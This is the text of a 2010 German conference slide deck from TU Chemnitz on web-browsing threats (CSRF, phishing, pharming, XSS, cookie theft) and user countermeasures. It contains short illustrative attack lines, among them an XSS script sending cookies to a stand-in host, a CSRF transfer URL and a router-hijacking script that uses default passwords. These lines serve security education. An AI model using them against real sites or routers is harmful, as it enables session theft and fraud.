Achtung Angriff! Gefahren beim Websurfen

12. Chemnitzer Linux-Tage 14. März 2010

TECHNISCHE UNIVERSITÄT CHEMNITZ

Technische Universität Chemnitz
Universitätsrechenzentrum
Frank Richter

URZ

Bedrohtes Web ...

- Symantec Global Internet Security Threat Report 2008:
  - 63% der Schwachstellen in Web-Anwendungen
  - > 230 Schwachstellen in Browsern
  - > 12.885 Cross-Site-Scripting Schwachstellen
  - Schadcode auf vertrauenswürdigen Sites
- Mai 2008: Over 1,5 million pages affected by the recent SQL injection attacks (zdnet.com)
- Chronik von Diebstahl personenbezogener Daten in USA seit 2005: 340.000.064 Datensätze in unbefugter Hand
  http://www.privacyrights.org/ar/ChronDataBreaches.htm

Angreifer und deren Ziele

- Underground Economy:
  - Botnetze (Spam, DoS)
  - verschleierte Geld-Transaktionen
  - Spionage
- „Kleinkriminelle“
  - Geld (Konten, Kreditkarten, Betrug)
  - Verunglimpfung, Zerstörungswut, Erpressung ...
- Ziele sind zunehmend vertrauenswürdige Websites
  - mehrstufige, komplexe Angriffe
  - Top-Seiten zu aktuellen Themen

Szenario: Websurfen

DNS-Server

2. DNS

134.135.136.137

5. Interpretation, Anzeige

HTML
Bilder, CSS

JavaScript
Java, Flash

Internet

1. URL

`http://www.domain.tld/doc`

Webb r

Webserver

4. Verarbeitung

Dateien
(HTML, CSS, Bilder)

CGI, PHP, ASP, JSP

3. HTTP

```
A: GET /test.html HTTP/1.1

B:<html><head>
  <title>Tolle Seite</title>
```

Angriffspunkt 1: URLs

- Uniform Resource Locator (URL)

  = Adresse einer Ressource im Internet
- `Zugriffsprotokoll://Servername/Dokument`
  - `http://www.tu-chemnitz.de/urz/index.html`
  - `ftp://ftp.fu-berlin.de/pub/`
  - `mailto:max@moritz.de`
- Aktiviert durch:
  - Klick auf Hyperlink (aus Webseite, E-Mail ...)
  - Eingabe in Adresszeile, Lesezeichen
  - Automatisch aus Inhalt, per Skript, Überfahren mit Maus, Tippen ...

Angriffspunkt 1: URLs (2)

URL einer betrügerischen Webseite "unterschieben":

- durch Social Engineering
- Besuch „gehackter Webseiten“
- URL-Tampering - bewusste Manipulation von URL-Parametern: `<img src=“http://unsichere-bank.us/transfer?betrag=5000&konto=meier“>`
- Cross-Site Request Forgery CSRF/XSRF
  `https://mail.tu-chemnitz.de/deletemail.php?id=1234`
  - Ziel: Daten in Webanwendung ändern
  - Opfer: legitimer Nutzer der Webanwendung
  - Gegenstück zu Cross Site Scripting (XSS)

Angriffspunkt 1: URLs (3)

- URL verletzt Privatsphäre, z.B. in HTML-Spam-Mail:

```
<img src="http://boeser.server/bild.png?adr=armes@opfer.de">
```

- Phishing: E-Mail
  - Falsche / verschleierte URL
  - Umleiten auf Server eines Angreifers
  - Vortäuschen einer falschen Identität
- Typo-Piraterie: Verschreiber-Domains
  - `http://www.tu-chemitz.de/`, `http://www-amazon.de`

Angriffspunkt 1: URLs (4)

Gegenmittel:

- Zertifikate (und deren Überprüfung durch Benutzer)
- Kritische Anwendungen (Online-Banking ...):
  - URL von Hand eingeben, aus Lesezeichen/Favoriten
- Vorsicht vor URLs aus unsicherer Quelle
- Laden externer Bilder in E-Mails ausschalten
- CSRF: „What can I do to protect myself as a user?

  Nothing. The fact is as long as you visit websites and don't have control of the inner architecture of these applications you can't do a thing. The truth hurts doesn't it?“

Angriffspunkt 2: DNS-Abfrage

Auflösung des Servernamens in IP-Adresse durch Dienst des Betriebssystems

- manipulierte lokale Hosts-Datei (durch Malware)
- Pharming: Manipulation der DNS-Anfragen von Webbrowsern (z. B. durch DNS-Spoofing)
- korrumpierte DNS-Server

Angriffspunkt 2: DNS-Abfrage (2)

Drive-By-Pharming: Heim-Router werden manipuliert, so dass gehackte DNS-Server benutzt werden:

- via JavaScript/Java, das Browser von manipulierter Webseite lädt
  - http://www.symantec.com/avcenter/reference/Driveby_Pharming.pdf
  - http://www.symantec.com/avcenter/reference/drive-by-pharming-animation.html
  - evtl. Java-Applet, um eigene IP-Adresse zu erkunden
  - „Portscan“ via JavaScript: `<script src=“http://192.168.1.1:80/“>...` + Fehleranalyse
  - „Fingerprinting“ von bekannten Routern (typ. Bilder)
  - Angriff mit Standard-Passwörtern bekannter Router: `<script src=“http://admin:admin@192.../apply.cgi?dns1=111.222...“>`

Angriffspunkt 2: DNS-Abfrage (3)

- kein Schutz durch Firewall, da Angriff von innen
- Grundsätzlich: Browser ist nur so sicher wie zu Grunde liegendes System.

Gegenmittel:

- Systemsicherheit
- Server-Zertifikate
- Standard-Passwort im DSL-Router ändern
- Vorsicht in fremden WLANs

Angriffsstelle 3: Datenübertragung

- Hypertext Transfer Protocol – HTTP:
  - Klartext, zustandslos
- Sicherheit des Proxy-Servers!
- Mithören: Authentifizierung, Cookies
- Manipulation
- IP–Routing: Umleitung an fremden Server (z. B. IP-Spoofing)

Gegenmittel:

- https: Verschlüsselung der Übertragung, Integrität
- Zertifikate: Authentizität des Servers

Angriffsstelle 5: Interpretation im Browser

Statische Inhalte - HTML, CSS, Bildformate:

- Implementierungsfehler, z. B. Buffer Overflow
  - http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33052
  - http://www.mozilla.org/security/known-vulnerabilities/firefox30.html
  - http://blog.chip.de/0-security-blog/icepack-neues-malware-kit-im-angebot-200

Aktive Inhalte – JavaScript, Java, ActiveX, Plug-Ins ...:

- Denial of Service: Absturz, unbrauchbar, Ärgernis
- Sandbox-Prinzip: kein Zugriff auf lokale Dateien ...
- unbemerktes Senden von Daten und Nachladen von Code
- AJAX – JavaScript-Funktion `XMLHttpRequest()`

Angriffsstelle 4: Interpretation im Browser (2)

- Schutz: **Same Origin Policy (SOP)** für JavaScript:
  - Zugriff nur auf Dokumentenelemente, Cookies ... aus gleicher Quelle (Protokoll, Server, Port) wie Script
  - Nicht für GET-Requests für Bilder, Skripts, CSS
  - Angriff: DNS rebinding attacks
- Unterbringung von Script-Code auf Ziel-Seite:
  - `<script>document.location(" http://cookie-klau.de/klau.cgi?" + document.cookie);</script>`
  - z.B. durch Cross-Site-Scripting
- History sniffing – Chronik besuchter Webseiten auslesen (sogar ohne JavaScript):
  - http://whattheinternetknowsaboutyou.com/

Angriffsstelle 5: Interpretation im Browser (3)

- Einfallstor Browser: Neuartige Angriffe überrumpeln Webanwender

  http://www.heise.de/security/artikel/Einfallstor-Browser-270092.html

Gegenmittel:

- aktuelle Browser-Versionen
- restriktive Einstellungen, **NoScript Add-On**
- Firefox: Phishing & Malware detection

  http://www.mozilla.com/en-US/firefox/phishing-protection/

  mittels Google Safe Browsing:

  http://code.google.com/p/google-safe-browsing/

- FF 3.5: Extras → Privater Modus

Cookies

- Kleine Textinformationen im HTTP-Header
  → Zustandsinfos
- Für viele Webanwendungen essenziell, z.B.
  - „Warenkorb“, personalisierte Websites / Werbung
  - zeitbefristete Authentisierung
- Gefahren:
  - Nutzerprofil – Verletzung der Privatsphäre
  - Session Hijacking durch Diebstahl von Cookies: Übernehmen von Sessions
- Wie umgehen? - Browser-Einstellungen

Empfehlungen des BSI

https://www.bsi-fuer-buerger.de/cln_136/BSIFB/DE/ITSicherheit/DerBrowser/derbrowser_node.html

- „... immer alle aktuellen Sicherheitspatches für das Betriebssystem und den Browser installieren ...“
- „Außerdem empfiehlt es sich immer, die neueste Browserversion auf dem PC zu installieren.“
- „Surfen Sie mit gesundem Menschenverstand. Klicken Sie nicht auf jedes Angebot, auch wenn es noch so verlockend klingt.“
- „... empfiehlt das BSI, aktive Inhalte prinzipiell auszuschalten.“

Tipps

- Browser regelmäßig updaten
- Zertifikatswarnungen ernst nehmen
- Vorsicht mit PlugIns, AddOns, Extensions
- Firefox Extension:

NoScript http://noscript.net/

  - ggf. in anderem „sicheren“ Profil
  - dies für Online-Banking ... nutzen

Standpunkte ...

Browser-Hersteller:

- Web browser features are driven by market share.

Administratoren:

- Installiert immer die neuesten Browser-Version!
- Nutzt die Browser maßvoll!
- Installiert sinnvolle Erweiterungen ...

Benutzer:

- Gebt uns sichere und bequeme Browser!

http://jeremiahgrossman.blogspot.com/2008/11/browser-security-bolt-it-on-then-build.html